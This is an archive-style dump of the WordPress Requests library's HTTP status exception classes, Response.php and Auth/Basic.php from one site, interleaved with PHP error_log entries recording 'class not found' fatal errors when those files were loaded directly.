  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-Jan-2026 00:05:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-Jan-2026 00:05:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-Jan-2026 00:05:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-Jan-2026 00:05:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-Jan-2026 00:05:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-Jan-2026 00:05:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-Jan-2026 00:05:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-Jan-2026 00:05:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-Jan-2026 00:05:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-Jan-2026 00:05:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-Jan-2026 00:05:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-Jan-2026 00:05:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-Jan-2026 00:05:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-Jan-2026 00:05:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-Jan-2026 00:05:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-Jan-2026 00:05:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-Jan-2026 00:05:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-Jan-2026 00:05:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-Jan-2026 00:05:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-Jan-2026 00:05:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-Jan-2026 00:05:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-Jan-2026 00:06:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-Jan-2026 00:06:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
Exception/Http/Status503.php000064400000000741152223033010011636 0ustar00<?php
/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests\Exceptions
 */
final class Status503 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 503;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Service Unavailable';
}
Exception/Http/Status401.php000064400000000714152223033010011633 0ustar00<?php
/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests\Exceptions
 */
final class Status401 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 401;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unauthorized';
}
Exception/Http/Status403.php000064400000000703152223033010011633 0ustar00<?php
/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests\Exceptions
 */
final class Status403 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 403;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Forbidden';
}
Exception/Http/Status429.php000064400000001163152223033010011644 0ustar00<?php
/**
 * Exception for 429 Too Many Requests responses
 *
 * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 429 Too Many Requests responses
 *
 * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 *
 * @package Requests\Exceptions
 */
final class Status429 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 429;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Too Many Requests';
}
Exception/Http/Status418.php000064400000001054152223033010011641 0ustar00<?php
/**
 * Exception for 418 I'm A Teapot responses
 *
 * @link https://tools.ietf.org/html/rfc2324
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 418 I'm A Teapot responses
 *
 * @link https://tools.ietf.org/html/rfc2324
 *
 * @package Requests\Exceptions
 */
final class Status418 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 418;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = "I'm A Teapot";
}
Exception/Http/Status417.php000064400000000736152223033010011646 0ustar00<?php
/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests\Exceptions
 */
final class Status417 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 417;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Expectation Failed';
}
Exception/Http/Status501.php000064400000000725152223033010011636 0ustar00<?php
/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests\Exceptions
 */
final class Status501 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 501;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Implemented';
}
Exception/Http/Status400.php000064400000000711152223033010011627 0ustar00<?php
/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests\Exceptions
 */
final class Status400 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 400;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Request';
}
Exception/Http/Status404.php000064400000000703152223033010011634 0ustar00<?php
/**
 * Exception for 404 Not Found responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 404 Not Found responses
 *
 * @package Requests\Exceptions
 */
final class Status404 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 404;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Found';
}
Exception/Http/Status415.php000064400000000752152223033010011642 0ustar00<?php
/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests\Exceptions
 */
final class Status415 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 415;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unsupported Media Type';
}
Exception/Http/Status428.php000064400000001107152223033010011641 0ustar00<?php
/**
 * Exception for 428 Precondition Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 428 Precondition Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status428 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 428;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Required';
}
Exception/Http/Status406.php000064400000000722152223033010011637 0ustar00<?php
/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests\Exceptions
 */
final class Status406 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 406;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Acceptable';
}
Exception/Http/Status409.php000064400000000700152223033010011636 0ustar00<?php
/**
 * Exception for 409 Conflict responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 409 Conflict responses
 *
 * @package Requests\Exceptions
 */
final class Status409 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 409;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Conflict';
}
Exception/Http/Status500.php000064400000000747152223033010011641 0ustar00<?php
/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests\Exceptions
 */
final class Status500 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 500;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Internal Server Error';
}
Exception/Http/.htaccess000064400000000000152223033010011174 0ustar00Exception/Http/Status504.php000064400000000725152223033010011641 0ustar00<?php
/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests\Exceptions
 */
final class Status504 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 504;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gateway Timeout';
}
Exception/Http/Status412.php000064400000000741152223033010011635 0ustar00<?php
/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests\Exceptions
 */
final class Status412 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 412;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Failed';
}
Exception/Http/StatusUnknown.php000064400000001712152223033010012765 0ustar00<?php
/**
 * Exception for unknown status responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response;

/**
 * Exception for unknown status responses
 *
 * @package Requests\Exceptions
 */
final class StatusUnknown extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer|bool Code if available, false if an error occurred
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * If `$data` is an instance of {@see \WpOrg\Requests\Response}, uses the status
	 * code from it. Otherwise, sets as 0
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($data instanceof Response) {
			$this->code = (int) $data->status_code;
		}

		parent::__construct($reason, $data);
	}
}
Exception/Http/Status505.php000064400000000766152223033010011647 0ustar00<?php
/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests\Exceptions
 */
final class Status505 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 505;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'HTTP Version Not Supported';
}
Exception/Http/Status305.php000064400000000703152223033010011634 0ustar00<?php
/**
 * Exception for 305 Use Proxy responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 305 Use Proxy responses
 *
 * @package Requests\Exceptions
 */
final class Status305 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 305;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Use Proxy';
}
Exception/Http/Status431.php000064400000001145152223033010011635 0ustar00<?php
/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status431 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 431;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Header Fields Too Large';
}
Exception/Http/Status410.php000064400000000664152223033010011637 0ustar00<?php
/**
 * Exception for 410 Gone responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 410 Gone responses
 *
 * @package Requests\Exceptions
 */
final class Status410 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 410;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gone';
}
Exception/Http/Status413.php000064400000000760152223033010011637 0ustar00<?php
/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests\Exceptions
 */
final class Status413 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 413;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Entity Too Large';
}
Exception/Http/Status511.php000064400000001145152223033010011634 0ustar00<?php
/**
 * Exception for 511 Network Authentication Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 511 Network Authentication Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status511 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 511;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Network Authentication Required';
}
Exception/Http/Status414.php000064400000000747152223033010011645 0ustar00<?php
/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests\Exceptions
 */
final class Status414 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 414;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request-URI Too Large';
}
Exception/Http/Status408.php000064400000000725152223033010011644 0ustar00<?php
/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests\Exceptions
 */
final class Status408 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 408;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Timeout';
}
Exception/Http/Status407.php000064400000000777152223033010011652 0ustar00<?php
/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests\Exceptions
 */
final class Status407 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 407;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Proxy Authentication Required';
}
Response.php000064400000010271152223033010007043 0ustar00<?php
/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response\Headers;

/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */
class Response {

	/**
	 * Response body
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Raw HTTP data from the transport
	 *
	 * @var string
	 */
	public $raw = '';

	/**
	 * Headers, as an associative array
	 *
	 * @var \WpOrg\Requests\Response\Headers Array-like object representing headers
	 */
	public $headers = [];

	/**
	 * Status code, false if non-blocking
	 *
	 * @var integer|boolean
	 */
	public $status_code = false;

	/**
	 * Protocol version, false if non-blocking
	 *
	 * @var float|boolean
	 */
	public $protocol_version = false;

	/**
	 * Whether the request succeeded or not
	 *
	 * @var boolean
	 */
	public $success = false;

	/**
	 * Number of redirects the request used
	 *
	 * @var integer
	 */
	public $redirects = 0;

	/**
	 * URL requested
	 *
	 * @var string
	 */
	public $url = '';

	/**
	 * Previous requests (from redirects)
	 *
	 * @var array Array of \WpOrg\Requests\Response objects
	 */
	public $history = [];

	/**
	 * Cookies from the request
	 *
	 * @var \WpOrg\Requests\Cookie\Jar Array-like object representing a cookie jar
	 */
	public $cookies = [];

	/**
	 * Constructor
	 */
	public function __construct() {
		$this->headers = new Headers();
		$this->cookies = new Jar();
	}

	/**
	 * Is the response a redirect?
	 *
	 * @return boolean True if redirect (3xx status), false if not.
	 */
	public function is_redirect() {
		$code = $this->status_code;
		return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400;
	}

	/**
	 * Throws an exception if the request was not successful
	 *
	 * @param boolean $allow_redirects Set to false to throw on a 3xx as well
	 *
	 * @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
	 * @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404})
	 */
	public function throw_for_status($allow_redirects = true) {
		if ($this->is_redirect()) {
			if ($allow_redirects !== true) {
				throw new Exception('Redirection not allowed', 'response.no_redirects', $this);
			}
		} elseif (!$this->success) {
			$exception = Http::get_class($this->status_code);
			throw new $exception(null, $this);
		}
	}

	/**
	 * JSON decode the response body.
	 *
	 * The method parameters are the same as those for the PHP native `json_decode()` function.
	 *
	 * @link https://php.net/json-decode
	 *
	 * @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays;
	 *                               When `false`, JSON objects will be returned as objects.
	 *                               When `null`, JSON objects will be returned as associative arrays
	 *                               or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags.
	 *                               Defaults to `true` (in contrast to the PHP native default of `null`).
	 * @param int       $depth       Optional. Maximum nesting depth of the structure being decoded.
	 *                               Defaults to `512`.
	 * @param int       $options     Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE,
	 *                               JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR.
	 *                               Defaults to `0` (no options set).
	 *
	 * @return array
	 *
	 * @throws \WpOrg\Requests\Exception If `$this->body` is not valid json.
	 */
	public function decode_body($associative = true, $depth = 512, $options = 0) {
		$data = json_decode($this->body, $associative, $depth, $options);

		if (json_last_error() !== JSON_ERROR_NONE) {
			$last_error = json_last_error_msg();
			throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this);
		}

		return $data;
	}
}
Auth/Basic.php000064400000004755152223033010007201 0ustar00<?php
/**
 * Basic Authentication provider
 *
 * @package Requests\Authentication
 */

namespace WpOrg\Requests\Auth;

use WpOrg\Requests\Auth;
use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;

/**
 * Basic Authentication provider
 *
 * Provides a handler for Basic HTTP authentication via the Authorization
 * header.
 *
 * @package Requests\Authentication
 */
class Basic implements Auth {
	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Constructor
	 *
	 * @since 2.0 Throws an `InvalidArgument` exception.
	 * @since 2.0 Throws an `ArgumentCount` exception instead of the Requests base `Exception.
	 *
	 * @param array|null $args Array of user and password. Must have exactly two elements
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array or null.
	 * @throws \WpOrg\Requests\Exception\ArgumentCount   On incorrect number of array elements (`authbasicbadargs`).
	 */
	public function __construct($args = null) {
		if (is_array($args)) {
			if (count($args) !== 2) {
				throw ArgumentCount::create('an array with exactly two elements', count($args), 'authbasicbadargs');
			}

			list($this->user, $this->pass) = $args;
			return;
		}

		if ($args !== null) {
			throw InvalidArgument::create(1, '$args', 'array|null', gettype($args));
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @see \WpOrg\Requests\Auth\Basic::curl_before_send()
	 * @see \WpOrg\Requests\Auth\Basic::fsockopen_header()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks) {
		$hooks->register('curl.before_send', [$this, 'curl_before_send']);
		$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
		curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @return string
	 */
	public function getAuthString() {
		return $this->user . ':' . $this->pass;
	}
}
Auth/error_log000064400000052030152223033010007351 0ustar00[19-Sep-2024 20:14:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[19-Sep-2024 20:28:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[10-Nov-2024 08:43:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[10-Nov-2024 11:32:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[13-Nov-2024 09:51:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
